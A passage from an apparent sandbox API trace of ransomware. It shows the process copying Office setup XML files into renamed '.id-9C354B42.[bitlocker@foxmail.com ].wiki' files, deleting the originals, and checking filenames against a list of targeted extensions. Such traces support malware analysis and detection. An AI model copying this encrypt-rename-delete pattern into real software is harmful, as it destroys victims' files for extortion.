dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.454] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0048.454] GetLastError () returned 0x0 [0048.455] ReadFile (in: hFile=0x1f8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x7c4, lpOverlapped=0x0) returned 1 [0048.458] WriteFile (in: hFile=0x1e8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x7d0, lpOverlapped=0x0) returned 1 [0048.458] ReadFile (in: hFile=0x1f8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.459] WriteFile (in: hFile=0x1e8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0048.459] SetEndOfFile (hFile=0x1e8) returned 1 [0048.459] CloseHandle (hObject=0x1e8) returned 1 [0048.459] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.459] SetEndOfFile (hFile=0x1f8) returned 1 [0048.460] CloseHandle (hObject=0x1f8) returned 1 [0048.460] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0048.460] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 1 [0048.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0048.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0048.461] lstrlenW (lpString=".doc") returned 4 [0048.461] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0048.461] lstrlenW (lpString=".docx") returned 5 [0048.461] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0048.461] lstrlenW (lpString=".pdf") returned 4 [0048.461] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0048.461] lstrlenW (lpString=".xls") returned 4 [0048.461] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0048.461] lstrlenW (lpString=".xlsx") returned 5 [0048.461] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0048.461] lstrlenW (lpString=".ppt") returned 4 [0048.461] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0048.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0048.461] lstrlenW (lpString=".zip") returned 4 [0048.461] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0048.461] lstrlenW (lpString=".rar") returned 4 [0048.461] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0048.461] lstrlenW (lpString=".bz2") returned 4 [0048.461] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0048.461] lstrlenW (lpString=".7z") returned 3 [0048.461] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0048.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0048.461] lstrlenW (lpString=".dbf") returned 4 [0048.461] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0048.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0048.461] lstrlenW (lpString=".1cd") returned 4 [0048.461] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0048.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0048.461] lstrlenW (lpString=".jpg") returned 4 [0048.461] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0048.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0048.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0048.461] lstrlenW (lpString=".doc") returned 4 [0048.462] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0048.462] lstrlenW (lpString=".docx") returned 5 [0048.462] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0048.462] lstrlenW (lpString=".pdf") returned 4 [0048.462] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0048.462] lstrlenW (lpString=".xls") returned 4 [0048.462] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0048.462] lstrlenW (lpString=".xlsx") returned 5 [0048.462] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0048.462] lstrlenW (lpString=".ppt") returned 4 [0048.462] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0048.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0048.462] lstrlenW (lpString=".zip") returned 4 [0048.462] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0048.462] lstrlenW (lpString=".rar") returned 4 [0048.462] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0048.462] lstrlenW (lpString=".bz2") returned 4 [0048.462] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0048.462] lstrlenW (lpString=".7z") returned 3 [0048.462] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0048.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0048.462] lstrlenW (lpString=".dbf") returned 4 [0048.462] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0048.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0048.462] lstrlenW (lpString=".1cd") returned 4 [0048.462] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0048.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0048.462] lstrlenW (lpString=".jpg") returned 4 [0048.462] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0048.462] lstrcmpiW (lpString1=".XML", lpString2=".wiki") returned 1 [0048.462] lstrlenW (lpString="SETUP.XML") returned 9 [0048.462] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0048.997] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1886) returned 1 [0048.997] CloseHandle (hObject=0x18c) returned 1 [0048.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 0x20 [0048.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0048.998] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0048.998] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.998] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.998] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0048.998] GetLastError () returned 0x0 [0048.998] ReadFile (in: hFile=0x18c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x75e, lpOverlapped=0x0) returned 1 [0049.129] WriteFile (in: hFile=0x1f8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x760, lpOverlapped=0x0) returned 1 [0049.130] ReadFile (in: hFile=0x18c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.130] WriteFile (in: hFile=0x1f8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0049.131] SetEndOfFile (hFile=0x1f8) returned 1 [0049.131] CloseHandle (hObject=0x1f8) returned 1 [0049.134] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.134] SetEndOfFile (hFile=0x18c) returned 1 [0049.134] CloseHandle (hObject=0x18c) returned 1 [0049.134] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0049.135] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 1 [0049.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0049.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0049.135] lstrlenW (lpString=".doc") returned 4 [0049.135] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.135] lstrlenW (lpString=".docx") returned 5 [0049.135] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0049.135] lstrlenW (lpString=".pdf") returned 4 [0049.135] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.135] lstrlenW (lpString=".xls") returned 4 [0049.135] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.135] lstrlenW (lpString=".xlsx") returned 5 [0049.135] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0049.135] lstrlenW (lpString=".ppt") returned 4 [0049.135] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0049.135] lstrlenW (lpString=".zip") returned 4 [0049.135] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.135] lstrlenW (lpString=".rar") returned 4 [0049.135] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.135] lstrlenW (lpString=".bz2") returned 4 [0049.135] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.135] lstrlenW (lpString=".7z") returned 3 [0049.135] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0049.135] lstrlenW (lpString=".dbf") returned 4 [0049.135] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0049.136] lstrlenW (lpString=".1cd") returned 4 [0049.136] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0049.136] lstrlenW (lpString=".jpg") returned 4 [0049.136] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0049.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0049.136] lstrlenW (lpString=".doc") returned 4 [0049.136] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.136] lstrlenW (lpString=".docx") returned 5 [0049.136] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0049.136] lstrlenW (lpString=".pdf") returned 4 [0049.136] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.136] lstrlenW (lpString=".xls") returned 4 [0049.136] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.136] lstrlenW (lpString=".xlsx") returned 5 [0049.136] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0049.136] lstrlenW (lpString=".ppt") returned 4 [0049.136] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0049.136] lstrlenW (lpString=".zip") returned 4 [0049.136] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.136] lstrlenW (lpString=".rar") returned 4 [0049.136] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.136] lstrlenW (lpString=".bz2") returned 4 [0049.136] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.136] lstrlenW (lpString=".7z") returned 3 [0049.136] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0049.136] lstrlenW (lpString=".dbf") returned 4 [0049.136] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0049.136] lstrlenW (lpString=".1cd") returned 4 [0049.136] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0049.137] lstrlenW (lpString=".jpg") returned 4 [0049.137] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.137] lstrcmpiW (lpString1=".XML", lpString2=".wiki") returned 1 [0049.137] lstrlenW (lpString="Proof.XML") returned 9 [0049.137] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0049.145] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1457) returned 1 [0049.146] CloseHandle (hObject=0x18c) returned 1 [0049.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml")) returned 0x20 [0049.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0049.146] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0049.146] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.146] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.146] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0049.146] GetLastError () returned 0x0 [0049.146] ReadFile (in: hFile=0x18c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x5b1, lpOverlapped=0x0) returned 1 [0049.153] WriteFile (in: hFile=0x1f8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0049.154] ReadFile (in: hFile=0x18c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.154] WriteFile (in: hFile=0x1f8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0049.154] SetEndOfFile (hFile=0x1f8) returned 1 [0049.154] CloseHandle (hObject=0x1f8) returned 1 [0049.155] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.155] SetEndOfFile (hFile=0x18c) returned 1 [0049.156] CloseHandle (hObject=0x18c) returned 1 [0049.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0049.156] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml")) returned 1 [0049.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0049.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0049.156] lstrlenW (lpString=".doc") returned 4 [0049.156] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.156] lstrlenW (lpString=".docx") returned 5 [0049.156] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0049.156] lstrlenW (lpString=".pdf") returned 4 [0049.157] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.157] lstrlenW (lpString=".xls") returned 4 [0049.157] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.157] lstrlenW (lpString=".xlsx") returned 5 [0049.157] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0049.157] lstrlenW (lpString=".ppt") returned 4 [0049.157] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0049.157] lstrlenW (lpString=".zip") returned 4 [0049.157] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.157] lstrlenW (lpString=".rar") returned 4 [0049.157] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.157] lstrlenW (lpString=".bz2") returned 4 [0049.157] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.157] lstrlenW (lpString=".7z") returned 3 [0049.157] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0049.157] lstrlenW (lpString=".dbf") returned 4 [0049.157] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0049.157] lstrlenW (lpString=".1cd") returned 4 [0049.157] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0049.157] lstrlenW (lpString=".jpg") returned 4 [0049.157] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0049.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0049.157] lstrlenW (lpString=".doc") returned 4 [0049.157] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.157] lstrlenW (lpString=".docx") returned 5 [0049.157] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0049.157] lstrlenW (lpString=".pdf") returned 4 [0049.157] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.157] lstrlenW (lpString=".xls") returned 4 [0049.157] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.158] lstrlenW (lpString=".xlsx") returned 5 [0049.158] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0049.158] lstrlenW (lpString=".ppt") returned 4 [0049.158] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0049.158] lstrlenW (lpString=".zip") returned 4 [0049.158] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.158] lstrlenW (lpString=".rar") returned 4 [0049.158] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.158] lstrlenW (lpString=".bz2") returned 4 [0049.158] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.158] lstrlenW (lpString=".7z") returned 3 [0049.158] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0049.158] lstrlenW (lpString=".dbf") returned 4 [0049.158] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0049.158] lstrlenW (lpString=".1cd") returned 4 [0049.158] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0049.158] lstrlenW (lpString=".jpg") returned 4 [0049.158] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.158] lstrcmpiW (lpString1=".XML", lpString2=".wiki") returned 1 [0049.158] lstrlenW (lpString="SETUP.XML") returned 9 [0049.158] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0049.160] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=5884) returned 1 [0049.160] CloseHandle (hObject=0x1e4) returned 1 [0049.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 